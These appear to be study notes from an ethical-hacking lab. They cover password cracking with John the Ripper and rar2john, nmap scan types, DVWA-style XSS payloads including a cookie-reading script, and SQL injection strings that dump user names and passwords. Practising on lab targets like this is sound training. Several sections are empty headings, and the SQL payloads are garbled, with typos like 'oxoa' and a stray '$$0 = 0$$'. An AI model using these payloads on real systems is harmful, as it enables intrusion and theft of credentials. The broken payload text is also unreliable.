Password Cracking

John Ripper tool

It is command line tool designed to crack the both UNIX & Windows NT passwords

Crunch command: Used to create combination of password or make the dictionary of possible passwords.

Cat command: Read each file parameter in sequence & writes standard o/p

Steps in Password Cracking using John Ripper:

Step 1: for cracking password of any file, you must have super or root user

\$sudo su

Step 2: Create any file i.e., rar, zip, pdf with password and take it into kali Linux environment

Step 3: Open terminal type command and covert the file into txt format

\$sudo rar2john file.rar > file.txt

\$cat file.txt

Step 4: Break the password using John Ripper

\$sudo john file.txt

Network & Port Scanning via Wireshark....

Port Scanning: Scan for to check or identify the port is open or not on the network.

Network Scanning: It discovering IP address of operating system.

Wireshark: It will help to you capture the network packets & display them.

1)TCP Scan

Establish TCP connection via 3-way handshake protocol i.e.

1)SYN 2)SYN, ACK 3)ACK

nmap -sT -p 445 192.168.1.102(Any IP)

2)Stealth Scan

It scan the port without establish the full or complete TCP connection.

nmap -sS -p 22 192.168.1.102

3) UDP Scan

It works by sending UDP packets & wait for responses.

nmap -sU -p 161 192.168.1.119

4)NULL Scan

When source send NULL packet to destination, it will not know how to reply the request. It will discard the packet & no reply will be sent.

nmap -sN -p 22 192.168.1.102

XSS Attack....

Attacker injects malicious scripts into web pages.

1)Non-Persistent

In this type of attack injected malicious script is reflected off the web server as a response.

a)Reflected XSS

i. Low:

ii. Medium:

```
<script>alert()</script> <sCRipt>alert()</script>
```

iii. High:

```
<img src=x onerror=alert()>
```

2)Persistent

In this type injected malicious is stored on vulnerable web server. Injected script is then permanently stored on web pages.

a) Stored XSS

i. Low:

ii. Medium:

iii. High:

3)DOM XSS(Document Object Model)

Low:

Medium:

High:

<script>alert(document.cookie)</script>

SQL Injection

Attacker inject or insert the SQL code or query to exploit any SQL database driven web application.

Some queries:

To check database version

%' or
$$0 = 0$$
 union select all null, version() #

To display Database user

To display all necessary authentication information present database

%' and 1=0 union select null, concat(first_name,0x0a,last_name,0xoa,user,oxoa,password) from users #

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